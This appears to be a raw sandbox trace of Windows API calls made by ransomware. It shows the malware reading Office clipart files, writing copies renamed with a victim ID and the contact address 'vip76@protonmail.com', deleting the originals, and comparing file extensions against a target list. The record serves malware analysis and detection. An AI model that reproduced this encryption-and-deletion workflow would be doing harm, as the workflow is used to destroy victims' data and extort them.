	[0202.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151063.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d0
	[0202.013] GetFileSizeEx (in: hFile=0x5d0, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=10632) returned 1
	[0202.013] CloseHandle (hObject=0x5d0) returned 1
	[0202.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151063.wmf")) returned 0x220
	[0202.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151063.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0202.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151063.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d0
	[0202.013] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.014] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151063.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0202.014] GetLastError () returned 0x0
	[0202.014] ReadFile (in: hFile=0x5d0, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x2988, lpOverlapped=0x0) returned 1
	[0202.016] WriteFile (in: hFile=0x494, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x2990, lpOverlapped=0x0) returned 1
	[0202.017] ReadFile (in: hFile=0x5d0, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0202.017] WriteFile (in: hFile=0x494, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0202.018] SetEndOfFile (hFile=0x494) returned 1
	[0202.018] CloseHandle (hObject=0x494) returned 1
	[0202.018] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.018] SetEndOfFile (hFile=0x5d0) returned 1
	[0202.021] CloseHandle (hObject=0x5d0) returned 1
	[0202.022] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0202.022] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151063.wmf")) returned 1
	[0202.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68
	[0202.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68
	[0202.024] lstrlenW (lpString=".doc") returned 4
	[0202.024] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0202.024] lstrlenW (lpString=".docx") returned 5
	[0202.024] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0202.024] lstrlenW (lpString=".pdf") returned 4
	[0202.024] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0202.024] lstrlenW (lpString=".xls") returned 4
	[0202.024] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0202.024] lstrlenW (lpString=".xlsx") returned 5
	[0202.024] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0202.024] lstrlenW (lpString=".ppt") returned 4
	[0202.024] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0202.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68
	[0202.024] lstrlenW (lpString=".zip") returned 4
	[0202.024] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0202.024] lstrlenW (lpString=".rar") returned 4
	[0202.025] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0202.025] lstrlenW (lpString=".bz2") returned 4
	[0202.025] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0202.025] lstrlenW (lpString=".7z") returned 3
	[0202.025] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0202.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68
	[0202.025] lstrlenW (lpString=".dbf") returned 4
	[0202.025] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0202.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68
	[0202.025] lstrlenW (lpString=".1cd") returned 4
	[0202.025] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0202.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68
	[0202.025] lstrlenW (lpString=".jpg") returned 4
	[0202.025] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0202.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68
	[0202.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68
	[0202.025] lstrlenW (lpString=".doc") returned 4
	[0202.025] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0202.025] lstrlenW (lpString=".docx") returned 5
	[0202.025] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0202.025] lstrlenW (lpString=".pdf") returned 4
	[0202.025] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0202.025] lstrlenW (lpString=".xls") returned 4
	[0202.025] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0202.025] lstrlenW (lpString=".xlsx") returned 5
	[0202.025] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0202.025] lstrlenW (lpString=".ppt") returned 4
	[0202.025] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0202.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68
	[0202.025] lstrlenW (lpString=".zip") returned 4
	[0202.025] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0202.025] lstrlenW (lpString=".rar") returned 4
	[0202.026] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0202.026] lstrlenW (lpString=".bz2") returned 4
	[0202.026] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0202.026] lstrlenW (lpString=".7z") returned 3
	[0202.026] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0202.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68
	[0202.026] lstrlenW (lpString=".dbf") returned 4
	[0202.026] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0202.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68
	[0202.026] lstrlenW (lpString=".1cd") returned 4
	[0202.026] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0202.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68
	[0202.026] lstrlenW (lpString=".jpg") returned 4
	[0202.026] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0202.026] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0202.026] lstrlenW (lpString="J0151067.WMF") returned 12
	[0202.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151067.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d0
	[0202.027] GetFileSizeEx (in: hFile=0x5d0, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=13204) returned 1
	[0202.027] CloseHandle (hObject=0x5d0) returned 1
	[0202.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151067.wmf")) returned 0x220
	[0202.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151067.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0202.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151067.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d0
	[0202.028] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.028] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151067.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0202.029] GetLastError () returned 0x0
	[0202.029] ReadFile (in: hFile=0x5d0, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x3394, lpOverlapped=0x0) returned 1
	[0202.031] WriteFile (in: hFile=0x494, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x33a0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x33a0, lpOverlapped=0x0) returned 1
	[0202.032] ReadFile (in: hFile=0x5d0, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0202.032] WriteFile (in: hFile=0x494, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0202.032] SetEndOfFile (hFile=0x494) returned 1
	[0202.032] CloseHandle (hObject=0x494) returned 1
	[0202.032] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.033] SetEndOfFile (hFile=0x5d0) returned 1
	[0202.035] CloseHandle (hObject=0x5d0) returned 1
	[0202.036] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0202.036] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151067.wmf")) returned 1
	[0202.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68
	[0202.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68
	[0202.037] lstrlenW (lpString=".doc") returned 4
	[0202.037] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0202.037] lstrlenW (lpString=".docx") returned 5
	[0202.037] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0202.037] lstrlenW (lpString=".pdf") returned 4
	[0202.037] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0202.037] lstrlenW (lpString=".xls") returned 4
	[0202.037] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0202.037] lstrlenW (lpString=".xlsx") returned 5
	[0202.037] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0202.037] lstrlenW (lpString=".ppt") returned 4
	[0202.037] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0202.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68
	[0202.037] lstrlenW (lpString=".zip") returned 4
	[0202.037] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0202.037] lstrlenW (lpString=".rar") returned 4
	[0202.037] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0202.037] lstrlenW (lpString=".bz2") returned 4
	[0202.037] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0202.037] lstrlenW (lpString=".7z") returned 3
	[0202.037] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0202.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68
	[0202.037] lstrlenW (lpString=".dbf") returned 4
	[0202.037] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0202.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68
	[0202.037] lstrlenW (lpString=".1cd") returned 4
	[0202.037] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0202.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68
	[0202.038] lstrlenW (lpString=".jpg") returned 4
	[0202.038] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0202.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68
	[0202.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68
	[0202.038] lstrlenW (lpString=".doc") returned 4
	[0202.038] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0202.038] lstrlenW (lpString=".docx") returned 5
	[0202.038] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0202.038] lstrlenW (lpString=".pdf") returned 4
	[0202.038] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0202.038] lstrlenW (lpString=".xls") returned 4
	[0202.038] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0202.038] lstrlenW (lpString=".xlsx") returned 5
	[0202.038] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0202.038] lstrlenW (lpString=".ppt") returned 4
	[0202.038] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0202.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68
	[0202.038] lstrlenW (lpString=".zip") returned 4
	[0202.038] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0202.038] lstrlenW (lpString=".rar") returned 4
	[0202.038] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0202.038] lstrlenW (lpString=".bz2") returned 4
	[0202.038] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0202.038] lstrlenW (lpString=".7z") returned 3
	[0202.038] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0202.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68
	[0202.038] lstrlenW (lpString=".dbf") returned 4
	[0202.038] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0202.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68
	[0202.038] lstrlenW (lpString=".1cd") returned 4
	[0202.038] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0202.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68
	[0202.038] lstrlenW (lpString=".jpg") returned 4
	[0202.039] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0202.039] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0202.039] lstrlenW (lpString="J0151073.WMF") returned 12
	[0202.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151073.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d0
	[0202.039] GetFileSizeEx (in: hFile=0x5d0, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=13336) returned 1
	[0202.039] CloseHandle (hObject=0x5d0) returned 1
	[0202.040] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151073.wmf")) returned 0x220
	[0202.040] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151073.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0202.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151073.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d0
	[0202.040] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.040] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151073.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0202.041] GetLastError () returned 0x0
	[0202.041] ReadFile (in: hFile=0x5d0, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x3418, lpOverlapped=0x0) returned 1
	[0202.397] WriteFile (in: hFile=0x494, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x3420, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x3420, lpOverlapped=0x0) returned 1
	[0202.398] ReadFile (in: hFile=0x5d0, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0202.398] WriteFile (in: hFile=0x494, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0202.398] SetEndOfFile (hFile=0x494) returned 1
	[0202.756] CloseHandle (hObject=0x494) returned 1
	[0202.756] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.770] SetEndOfFile (hFile=0x5d0) returned 1
	[0202.782] CloseHandle (hObject=0x5d0) returned 1
	[0202.782] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0202.783] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151073.wmf")) returned 1
	[0202.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68
	[0202.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68
	[0202.785] lstrlenW (lpString=".doc") returned 4
	[0202.785] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0202.785] lstrlenW (lpString=".docx") returned 5
	[0202.785] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0202.785] lstrlenW (lpString=".pdf") returned 4
	[0202.785] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0202.785] lstrlenW (lpString=".xls") returned 4
	[0202.785] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0202.785] lstrlenW (lpString=".xlsx") returned 5
	[0202.785] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0202.785] lstrlenW (lpString=".ppt") returned 4
	[0202.785] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0202.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68
	[0202.786] lstrlenW (lpString=".zip") returned 4
	[0202.786] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0202.786] lstrlenW (lpString=".rar") returned 4
	[0202.786] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0202.786] lstrlenW (lpString=".bz2") returned 4
	[0202.786] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0202.786] lstrlenW (lpString=".7z") returned 3
	[0202.786] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0202.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68
	[0202.786] lstrlenW (lpString=".dbf") returned 4
	[0202.786] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0202.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68
	[0202.786] lstrlenW (lpString=".1cd") returned 4
	[0202.786] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0202.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68
	[0202.786] lstrlenW (lpString=".jpg") returned 4
	[0202.786] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0202.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68
	[0202.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68
	[0202.786] lstrlenW (lpString=".doc") returned 4
	[0202.786] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0202.786] lstrlenW (lpString=".docx") returned 5
	[0202.786] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0202.786] lstrlenW (lpString=".pdf") returned 4
	[0202.786] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0202.786] lstrlenW (lpString=".xls") returned 4
	[0202.786] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0202.786] lstrlenW (lpString=".xlsx") returned 5
	[0202.786] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0202.787] lstrlenW (lpString=".ppt") returned 4
	[0202.787] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0202.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68
	[0202.787] lstrlenW (lpString=".zip") returned 4
	[0202.787] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0202.787] lstrlenW (lpString=".rar") returned 4
	[0202.787] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0202.787] lstrlenW (lpString=".bz2") returned 4
	[0202.787] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0202.787] lstrlenW (lpString=".7z") returned 3
	[0202.787] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0202.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68
	[0202.787] lstrlenW (lpString=".dbf") returned 4
	[0202.787] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0202.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68
	[0202.787] lstrlenW (lpString=".1cd") returned 4
	[0202.787] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0202.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68
	[0202.787] lstrlenW (lpString=".jpg") returned 4
	[0202.787] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0202.787] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0202.787] lstrlenW (lpString="J0152602.WMF") returned 12
